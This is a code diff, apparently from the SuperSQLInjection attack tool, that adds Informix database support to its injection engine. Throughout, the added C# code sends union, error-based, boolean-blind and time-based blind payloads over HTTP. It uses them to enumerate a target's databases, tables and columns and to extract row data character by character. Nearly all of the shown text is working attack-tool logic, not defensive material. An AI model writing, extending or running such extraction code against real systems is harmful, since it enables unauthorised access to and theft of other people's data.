33dda2f..62e6460 100644 --- a/SuperSQLInjection/Main.cs +++ b/SuperSQLInjection/Main.cs @@ -34,7 +34,7 @@ namespace SuperSQLInjection } public ShowResponse sr = null; public Config config = new Config();//注入基础配置 - + public const Char DBVers_Splite_Str = ':'; public String curren_db = "";//当前数据库 public String curren_table = "";//当前表 public static int status = 0; @@ -113,10 +113,17 @@ namespace SuperSQLInjection t.Start(); } } + private void addDBSToItems() { + + string[] dbnames = Enum.GetNames(typeof(DBType)); + this.cbox_basic_dbType.Items.AddRange(dbnames); + } private void Main_Shown(object sender, EventArgs e) { HTTP.initMain(this); + //添加支持注入的数据库列表 + addDBSToItems(); //清空日志 Thread t = new Thread(Tools.delHTTPLog); t.Start(); @@ -303,7 +310,7 @@ namespace SuperSQLInjection return sid; } - public static int version = 20190120; + public static int version = 20190303; public static string versionURL = "http://www.shack2.org/soft/getNewVersion?ENNAME=SSuperSQLInjection&NO=" + URLEncode.UrlEncode(getSid()) + "&VERSION=" + version; //检查更新 public void checkUpdate() @@ -574,6 +581,47 @@ namespace SuperSQLInjection return ""; } + /// + /// 获得union获得error注入的获得的数据内容 + /// + /// + /// + public String getOneDataByUnionOrErrorByInformix(String opayload) + { + return getOneDataByUnionOrError(opayload, Informix.start + Informix.start, Informix.end + Informix.end); + } + + /// + /// 获得union获得error注入的获得的数据内容 + /// + /// + /// + public String getOneDataByUnionOrError(String opayload,String start,String end) + { + + try + { + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, opayload.ToString(), config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + if (server.body != null && server.body.Length > 0) + { + //查找格式^^!col$$$col!^^ + Match m = Regex.Match(server.body, "(?<=("+start+"))[.\\s\\S]*?(?=("+ end + "))"); + if (m.Success) + { + return m.Value; + } + } + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "发生异常:" + e.Message, LogLevel.error); + + } + return ""; + } + /// @@ -641,7 +689,7 @@ namespace SuperSQLInjection Thread.CurrentThread.Abort(); } - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); List column_list = new List(); column_list.Add(sv[1]); String columns = MySQL.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, column_list, null, null, -1); @@ -654,7 +702,7 @@ namespace SuperSQLInjection public void getVariablesByUnionBySQLServer(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); String pay_load = SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, sv[1]); String result = getOneDataByUnionOrError(pay_load); this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), sv[0], result); @@ -664,7 +712,7 @@ namespace SuperSQLInjection public void getVariablesByUnionByPostgreSQL(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); List column_list = new List(); column_list.Add(sv[1]); String pay_load = PostgreSQL.getUnionDataValue(config.columnsCount, config.showColumn, sv[1], "", "", ""); @@ -676,7 +724,7 @@ namespace SuperSQLInjection public void getVariablesByUnionByOracle(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); String pay_load = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, sv[1], "", "", ""); String result = getOneDataByUnionOrError(pay_load); this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), sv[0], result); @@ -684,16 +732,25 @@ namespace SuperSQLInjection } public void getVariablesByUnionByDB2(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); String pay_load = DB2.getUnionDataValue(config.unionFillTemplate, sv[1], "", "", ""); String result = getOneDataByUnionOrError(pay_load); this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), sv[0], result); Interlocked.Increment(ref this.currentDataCount); } + public void getVariablesByUnionByInformix(Object v) + { + String[] sv = v.ToString().Split(DBVers_Splite_Str); + String pay_load = Informix.getUnionDataValue(config.unionFillTemplate, sv[1], "", "", "",Informix.cast_value); + String result = getOneDataByUnionOrErrorByInformix(pay_load); + this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), sv[0], result); + Interlocked.Increment(ref this.currentDataCount); + } + public void getVariablesByUnionBySQLite(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); String pay_load = SQLite.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, sv[1]); String result = getOneDataByUnionOrError(pay_load); this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), sv[0], result); @@ -702,7 +759,7 @@ namespace SuperSQLInjection public void getVariablesByErrorByMySQL(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); List column_list = new List(); column_list.Add(sv[1]); String columns = MySQL.creatMySQLColumnsStrByError(column_list, null, null, -1); @@ -715,7 +772,7 @@ namespace SuperSQLInjection public void getVariablesByErrorByPostgreSQL(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); List column_list = new List(); column_list.Add(sv[1]); String pay_load = PostgreSQL.error_value.Replace("{data}", sv[1]); @@ -727,7 +784,7 @@ namespace SuperSQLInjection public void getVariablesByErrorBySQLServer(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); List column_list = new List(); column_list.Add(sv[1]); String pay_load = SQLServer.error_value.Replace("{data}", sv[1]); @@ -740,7 +797,7 @@ namespace SuperSQLInjection public void getVariablesByErrorByOracle(Object v) { - String[] sv = v.ToString().Split(':'); + String[] sv = v.ToString().Split(DBVers_Splite_Str); List column_list = new List(); column_list.Add(sv[1]); String pay_load = Oracle.getErrorDataValue(sv[1], "", "", ""); @@ -773,7 +830,7 @@ namespace SuperSQLInjection { for (int j = 0; j < this.data_lvw_ver.CheckedItems.Count; j++) { - String v = this.data_lvw_ver.CheckedItems[j].SubItems[0].Text + ":" + this.data_lvw_ver.CheckedItems[j].Tag; + String v = this.data_lvw_ver.CheckedItems[j].SubItems[0].Text + DBVers_Splite_Str + this.data_lvw_ver.CheckedItems[j].Tag; switch (dbType) { case DBType.Access: @@ -797,6 +854,9 @@ namespace SuperSQLInjection case DBType.SQLite: stp.QueueWorkItem(getVariablesByUnionBySQLite, v); break; + case DBType.Informix: + stp.QueueWorkItem(getVariablesByUnionByInformix, v); + break; } } stp.WaitForIdle(); @@ -817,7 +877,7 @@ namespace SuperSQLInjection { for (int j = 0; j < this.data_lvw_ver.CheckedItems.Count; j++) { - String v = this.data_lvw_ver.CheckedItems[j].SubItems[0].Text + ":" + this.data_lvw_ver.CheckedItems[j].Tag; + String v = this.data_lvw_ver.CheckedItems[j].SubItems[0].Text + DBVers_Splite_Str + this.data_lvw_ver.CheckedItems[j].Tag; switch (dbType) { case DBType.Access: @@ -838,6 +898,7 @@ namespace SuperSQLInjection case DBType.DB2: MessageBox.Show("抱歉DB2数据库暂不支持显错方式获取数据!"); break; + } } stp.WaitForIdle(); @@ -857,7 +918,7 @@ namespace SuperSQLInjection { for (int j = 0; j < this.data_lvw_ver.CheckedItems.Count; j++) { - String v = this.data_lvw_ver.CheckedItems[j].SubItems[0].Text + ":" + this.data_lvw_ver.CheckedItems[j].Tag; + String v = this.data_lvw_ver.CheckedItems[j].SubItems[0].Text + DBVers_Splite_Str + this.data_lvw_ver.CheckedItems[j].Tag; switch (dbType) { case DBType.Access: @@ -905,6 +966,16 @@ namespace SuperSQLInjection case DBType.SQLite: //获取对应环境变量值 stp.QueueWorkItem(getVariableByBoolBySQLite, v); + break; + case DBType.Informix: + if (config.keyType.Equals(KeyType.Time)) + { + stp.QueueWorkItem(getVariableByBoolByInformixSleep, v); + } + else { + stp.QueueWorkItem(getVariableByBoolByInformix, v); + } + break; } } @@ -994,7 +1065,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); String payload_len = MySQL.ver_length.Replace("{data}", vs[1]); int len = getValueByStepUp(payload_len, 0, 10); this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); @@ -1024,7 +1095,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); String payload_len = MySQL.getBoolDataBySleep(MySQL.bool_length, config.maxTime).Replace("{data}", vs[1]); @@ -1057,7 +1128,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); String payload_len = PostgreSQL.getBoolDataBySleep(PostgreSQL.bool_length, config.maxTime).Replace("{data}", vs[1]); @@ -1086,6 +1157,39 @@ namespace SuperSQLInjection } + public void getVariableByBoolByInformixSleep(Object vers) + { + try + { + String[] vs = vers.ToString().Split(DBVers_Splite_Str); + + String payload_len = Informix.getBoolDataBySleep(Informix.bool_length).Replace("{data}", vs[1]); + + int len = getValueByStepUp(payload_len, 0, 10); + this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); + String va_payload = Informix.getBoolDataBySleep(Informix.bool_value).Replace("{data}", vs[1]); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 32, 126); + value += ((char)ascii).ToString(); + this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), vs[0], value); + } + this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "值为:" + value, LogLevel.info); + + + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentDataCount); + + } + /// /// 获取环境变量PostgreSQL bool /// @@ -1094,7 +1198,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); String payload_len = PostgreSQL.ver_length.Replace("{data}", vs[1]); int len = getValueByStepUp(payload_len, 0, 10); this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); @@ -1128,7 +1232,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); //判断变量长度 String payload_len = SQLServer.getBoolDataBySleep(SQLServer.bool_length, config.maxTime).Replace("{data}", vs[1]); int len = getValueByStepUp(payload_len, 0, 10); @@ -1165,7 +1269,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); //判断变量长度 int len = getValueByStepUp(SQLServer.bool_length.Replace("{data}", vs[1]), 0, 10); this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); @@ -1205,7 +1309,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); //判断变量长度 int len = getValueByStepUp(Oracle.bool_length.Replace("{data}", vs[1]), 0, 10); this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); @@ -1240,7 +1344,7 @@ namespace SuperSQLInjection { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); //判断变量长度 int len = getValueByStepUp(DB2.bool_length.Replace("{data}", vs[1]), 0, 10); this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); @@ -1271,11 +1375,45 @@ namespace SuperSQLInjection /// 获取环境变量DB2 bool /// /// + public void getVariableByBoolByInformix(Object vers) + { + try + { + String[] vs = vers.ToString().Split(DBVers_Splite_Str); + //判断变量长度 + int len = getValueByStepUp(Informix.bool_length.Replace("{data}", vs[1]), 0, 10); + this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); + + String va_payload = Informix.bool_value.Replace("{data}", vs[1]); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + String dp = va_payload.Replace("{index}", i.ToString()); + int ascii = getValue(dp, 32, 126); + value += (char)ascii; + this.data_lvw_ver.Invoke(new setVariableDelegate(setVariable), vs[0], value); + } + this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "值为:" + value, LogLevel.info); + + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentDataCount); + } + + /// + /// 获取环境变量sqlite bool + /// + /// public void getVariableByBoolBySQLite(Object vers) { try { - String[] vs = vers.ToString().Split(':'); + String[] vs = vers.ToString().Split(DBVers_Splite_Str); //判断变量长度 int len = getValueByStepUp(SQLite.bool_length.Replace("{data}", vs[1]), 0, 10); this.txt_log.Invoke(new showLogDelegate(log), vs[0] + "长度为:" + len, LogLevel.info); @@ -1310,9 +1448,20 @@ namespace SuperSQLInjection } delegate void addItemToListViewByColumnsDelegate(String colvs); + public void addItemToListViewByColumns(String colvs) { - String[] colv = Regex.Split(colvs, "\\$\\$\\$"); + addItemToListViewByColumns(colvs, "\\$\\$\\$"); + } + + public void addItemToListViewByColumnsInformix(String colvs) + { + addItemToListViewByColumns(colvs, Informix.mid); + } + + public void addItemToListViewByColumns(String colvs,String splitReg) + { + String[] colv = Regex.Split(colvs, splitReg); ListViewItem lvi = null; for (int i = 0; i < colv.Length; i++) { @@ -1647,6 +1796,54 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentDbsCount); } + /// + /// 获取数据库名称 + /// + /// 下标limit + public void getDBNameByBoolByInformix(Object oindex) + { + try + { + int db_index = int.Parse(oindex.ToString()); + //判断对应下标的数据库长度 + String payload_len = Informix.bool_length.Replace("{data}", Informix.db_value.Replace("{index}", oindex.ToString())); + //判断当前数据库对应的ascii码 + String va_payload = Informix.bool_value.Replace("{data}", Informix.db_value.Replace("{index}", oindex.ToString())); + + if (config.keyType.Equals(KeyType.Time)) + { + payload_len = Informix.getBoolDataBySleep(Informix.bool_length.Replace("{data}", Informix.db_value.Replace("{index}", oindex.ToString()))); + va_payload = Informix.getBoolDataBySleep(Informix.bool_value.Replace("{data}", Informix.db_value.Replace("{index}", oindex.ToString()))); + } + + //判断当前数据库长度限制1-50 + int len = getValue(payload_len, 1, 50); + this.txt_log.Invoke(new showLogDelegate(log), "数据库" + (db_index+1) + "长度为:" + len, LogLevel.info); + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + if (status != 1) + { + break; + } + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 32, 126); + value += ((char)ascii).ToString(); + this.Invoke(new setDBToTreeListDelegate(setDBToTreeList), db_index, value); + } + this.txt_log.Invoke(new showLogDelegate(log), "数据库" + (db_index + 1) + "的名称为:" + value, LogLevel.info); + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentDbsCount); + } + /// /// 获取数据库名称Union方式MySQL @@ -1657,11 +1854,12 @@ namespace SuperSQLInjection try { //获取数据库数量 + int index = int.Parse(oindex.ToString()); List data_list = new List(); data_list.Add(MySQL.db_value.Replace("{index}", oindex.ToString())); String db_Name_data = MySQL.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL.union_value.Replace("{data}", db_Name_data)); - this.txt_log.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result, LogLevel.info); + this.txt_log.Invoke(new showLogDelegate(log), "数据库" + (index+1) + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) @@ -1723,6 +1921,7 @@ namespace SuperSQLInjection try { //获取数据库数量 + String result = getOneDataByUnionOrError(DB2.getUnionDataValue(config.unionFillTemplate, DB2.db_value, "", "", oindex.ToString())); this.txt_log.Invoke(new showLogDelegate(log), "数据库表模式" + oindex + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); @@ -1735,6 +1934,28 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentDbsCount); } + /// + /// 获取数据库名称Union方式DB2 + /// + /// 下标limit + public void getDBNameByUnionByInformix(Object oindex) + { + try + { + //获取数据库数量 + int index = int.Parse(oindex.ToString()); + String result = getOneDataByUnionOrErrorByInformix(Informix.getUnionDataValue(config.unionFillTemplate, Informix.db_value, "", "", oindex.ToString(), Informix.cast_value)); + this.txt_log.Invoke(new showLogDelegate(log), "数据库" + (index + 1) + "的名称为:" + result, LogLevel.info); + this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentDbsCount); + } + /// /// 获取数据库名称Union方式Oracle /// @@ -2029,6 +2250,53 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentTableCount); } + /// + /// bool方式获取Informix表 + /// + /// + public void getTableNameValueByBoolByInformix(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + int selectIndex = sn.tn.Index; + //判断当前表长度 + String data_payload = Informix.table_value.Replace("{dbname}", sn.dbname).Replace("{index}", sn.limit + ""); + + //判断当前数据库对应的ascii码 + String va_payload = Informix.bool_value.Replace("{data}", data_payload); + + int len = 0; + if (config.keyType.Equals(KeyType.Time)) + { + va_payload = Informix.getBoolDataBySleep(Informix.bool_value).Replace("{data}", data_payload); + len = getValue(Informix.getBoolDataBySleep(Informix.bool_length.Replace("{data}", data_payload)), 1, 50); + } + else { + len = getValue(Informix.bool_length.Replace("{data}", data_payload), 1, 50); + } + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + this.data_tvw_dbs.Invoke(new setNodeToTreeListDelegate(setNodeToTreeList), sn.tn, sn.limit, value); + } + this.txt_log.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + value, LogLevel.info); + + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentTableCount); + } + /// /// bool方式获取表 /// @@ -2251,6 +2519,22 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentTableCount); } + /// + /// 获取表名,多线程调用Informix + /// + /// + public void getTableNameValueByUnionByInformix(Object osn) + { + + SelectNode sn = (SelectNode)osn; + String tables_value_payload = Informix.getUnionDataValue(config.unionFillTemplate, Informix.table_value, sn.dbname, "", sn.limit.ToString(), Informix.cast_value); + String result = getOneDataByUnionOrErrorByInformix(tables_value_payload); + + this.txt_log.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + result, LogLevel.info); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); + Interlocked.Increment(ref this.currentTableCount); + } + /// /// 获取表名,多线程调用PostgreSQL @@ -2881,6 +3165,28 @@ namespace SuperSQLInjection MessageBox.Show("没有发现数据库,奇怪了!"); } break; + + case DBType.Informix: + //获取数据库数量 + result = getOneDataByUnionOrErrorByInformix(Informix.getUnionDataValue(config.unionFillTemplate, Informix.dbs_count, "", "", "", Informix.no_cast_value)); + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库!", LogLevel.info); + db_len = Tools.convertToInt(result); + this.dbsCount = db_len; + if (db_len > 0) + { + for (int j = 0; j < db_len; j++) + { + //获取对应的数据库 + stp.QueueWorkItem(getDBNameByUnionByInformix, j); + } + stp.WaitForIdle(); + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; } } @@ -3025,6 +3331,36 @@ namespace SuperSQLInjection } stp.WaitForIdle(); + } + else + { + MessageBox.Show("没有发现数据库,奇怪了!"); + } + break; + case DBType.Informix: + //获取数据库数量 + if (KeyType.Time.Equals(config.keyType)) + { + db_len = getValueByStepUp(Informix.getBoolDataBySleep(Informix.bool_db_count), 0, 10); + } + else + { + db_len = getValueByStepUp(Informix.bool_db_count, 0, 10); + } + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!", LogLevel.info); + this.dbsCount = db_len; + if (db_len > 0) + { + //db下标从1开始 + for (int j = 0; j < db_len; j++) + { + //获取对应的数据库 + this.data_tvw_dbs.Invoke(new addDBToTreeListDelegate(addDBToTreeList), ""); + stp.QueueWorkItem(getDBNameByBoolByInformix, j); + } + stp.WaitForIdle(); + } else { @@ -3251,6 +3587,30 @@ namespace SuperSQLInjection stp.WaitForIdle(); break; + case DBType.Informix: + //获取当前数据库长度 + if (config.keyType.Equals(KeyType.Time)) + { + this.tableCount = getValueByStepUp(Informix.getBoolDataBySleep(Informix.bool_tables_count.Replace("{dbname}", dbname)), 0, 50); + } + else + { + this.tableCount = getValueByStepUp(Informix.bool_tables_count.Replace("{dbname}", dbname), 0, 50); + } + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!", LogLevel.info); + for (int i = 0; i < this.tableCount; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbname; + this.data_tvw_dbs.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), tn, "", "table"); + stp.QueueWorkItem(getTableNameValueByBoolByInformix, sn); + } + stp.WaitForIdle(); + break; + } @@ -3382,6 +3742,24 @@ namespace SuperSQLInjection } stp.WaitForIdle(); break; + case DBType.Informix: + //获取当前数据库表数量 + tables_count_payload = Informix.getUnionDataValue(config.unionFillTemplate, Informix.tables_count, dbName, "", "", Informix.no_cast_value); + result = getOneDataByUnionOrErrorByInformix(tables_count_payload); + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!", LogLevel.info); + this.tableCount = Tools.convertToInt(result); + //下标1开始 + for (int i = 0; i < this.tableCount; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + stp.QueueWorkItem(getTableNameValueByUnionByInformix, sn); + } + stp.WaitForIdle(); + break; } } @@ -3865,6 +4243,52 @@ namespace SuperSQLInjection } } + /// + /// 获取列明称,bool方式 + /// + /// 表的节点 + public void getColumnNameByBoolByInformix(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + //判断当前表长度 + String data_payload = Informix.column_value.Replace("{table}", sn.tableName).Replace("{index}", sn.limit + "").Replace("{dbname}", sn.dbname); + //判断当前数据库对应的ascii码 + String va_payload = Informix.bool_value.Replace("{data}", data_payload); + + int len = 0; + if (KeyType.Time.Equals(config.keyType)) + { + va_payload = Informix.getBoolDataBySleep(Informix.bool_value.Replace("{data}", data_payload)); + len = getValue(Informix.getBoolDataBySleep(Informix.bool_length.Replace("{data}", data_payload)), 1, 50); + } + else + { + len = getValue(Informix.bool_length.Replace("{data}", data_payload), 1, 50); + } + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + this.data_tvw_dbs.Invoke(new setNodeToTreeListDelegate(setNodeToTreeList), sn.tn, sn.limit, value); + } + this.txt_log.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + value, LogLevel.info); + + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取列名时发生异常:" + e.Message, LogLevel.error); + } + } + /// /// 获取列明称,bool方式 /// @@ -4023,6 +4447,28 @@ namespace SuperSQLInjection } } + /// + /// 获取列名,union DB2 + /// + /// + public void getColumnNameByUnionByInformix(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + + String column_Name_data = Informix.getUnionDataValue(config.unionFillTemplate, Informix.column_value, sn.dbname, sn.tableName, sn.limit.ToString(), Informix.cast_value); + String result = getOneDataByUnionOrErrorByInformix(column_Name_data); + this.txt_log.Invoke(new showLogDelegate(log), "发现列:" + result, LogLevel.info); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取列名时发生异常:" + e.Message, LogLevel.error); + } + } + /// /// 获取列名,union PostgreSQL /// @@ -4255,6 +4701,29 @@ namespace SuperSQLInjection stp.QueueWorkItem(getColumnNameByBoolBySQLite, csn); stp.WaitForIdle(); break; + case DBType.Informix: + if (KeyType.Time.Equals(config.keyType)) + { + columns_count = getValueByStepUp(Informix.getBoolDataBySleep(Informix.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName)), 0, 20); + } + else + { + columns_count = getValueByStepUp(Informix.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), 0, 20); + } + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!", LogLevel.info); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + this.data_tvw_dbs.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), ctn, "", "column"); + stp.QueueWorkItem(getColumnNameByBoolByInformix, sn); + } + stp.WaitForIdle(); + break; } } @@ -4382,6 +4851,24 @@ namespace SuperSQLInjection csn.tableName = tableName; stp.QueueWorkItem(getColumnNameByUnionBySQLite, csn); break; + + case DBType.Informix: + columns_count_payload = Informix.getUnionDataValue(config.unionFillTemplate, Informix.columns_count, dbName, tableName, "", Informix.no_cast_value); + result = getOneDataByUnionOrErrorByInformix(columns_count_payload); + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); + columns_count = Tools.convertToInt(result); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + stp.QueueWorkItem(getColumnNameByUnionByInformix, sn); + } + stp.WaitForIdle(); + break; } } @@ -5139,6 +5626,66 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentDataCount); } + /// + /// 获取数据 + /// + /// 列名集合List及limit等参数 + public void getDataValueByBoolByInformix(Object opam) + { + try + { + + GetDataPam gp = (GetDataPam)opam; + + ListViewItem lvi = null; + + foreach (String columnName in gp.columns) + { + //取每一列的值 + String data_payload = Informix.getBoolDataPayLoad(columnName, gp.dbname, gp.table, gp.limit); + String payload_len = Informix.bool_length.Replace("{data}", data_payload).Replace("{column}", columnName); + + if (config.keyType.Equals(KeyType.Time)) + { + payload_len = Informix.getBoolDataBySleep(Informix.bool_length.Replace("{data}", data_payload)); + } + int len = getValueByStepUp(payload_len, 0, 50); + StringBuilder result = new StringBuilder(); + //获取值 + for (int i = 1; i <= len; i++) + { + //获取多字节 + String substr_payload = Informix.bool_value.Replace("{data}", data_payload).Replace("{index}", i.ToString()); + if (config.keyType.Equals(KeyType.Time)) + { + substr_payload = Informix.getBoolDataBySleep(substr_payload); + } + + //单个ascii值范围是数字或者大写字母,范围在0-127 + int ascii = getValue(substr_payload, 0, 127); + result.Append((char)ascii); + } + if (lvi == null) + { + lvi = new ListViewItem(result.ToString()); + } + else + { + lvi.SubItems.Add(result.ToString()); + } + + } + this.data_dbs_lvw_data.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.txt_log.Invoke(new showLogDelegate(log), "获取到第" + (gp.limit+1) + "行的值!", LogLevel.info); + + } + catch (Exception e) + { + this.txt_log.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentDataCount); + } + /// /// 获取数据,union方式 /// @@ -5277,6 +5824,28 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentDataCount); } + /// + /// 获取数据,union方式 + /// + /// 列名集合List及limit等参数 + public void getDataValueByUnionByInformix(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrErrorByInformix(Informix.getUnionDataValue(config.unionFillTemplate, gp.columns, gp.dbname, gp.table, gp.limit.ToString())); + this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumnsInformix), result); + this.txt_log.Invoke(new showLogDelegate(log), "获取到第" + (gp.limit+1) + "行的值!", LogLevel.info); + } + catch (Exception e) + { + + this.txt_log.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + Interlocked.Increment(ref this.currentDataCount); + } + /// /// 获取数据,union方式 /// @@ -5289,7 +5858,7 @@ namespace SuperSQLInjection ListViewItem lvi = new ListViewItem(); String result = getOneDataByUnionOrError(PostgreSQL.getUnionDataValue(config.columnsCount, config.showColumn, gp.columns, gp.dbname, gp.table, gp.limit.ToString())); this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); - this.txt_log.Invoke(new showLogDelegate(log), "获取到第" + gp.limit + "行的值!", LogLevel.info); + this.txt_log.Invoke(new showLogDelegate(log), "获取到第" + (gp.limit+1) + "行的值!", LogLevel.info); } catch (Exception e) { @@ -5691,6 +6260,37 @@ namespace SuperSQLInjection 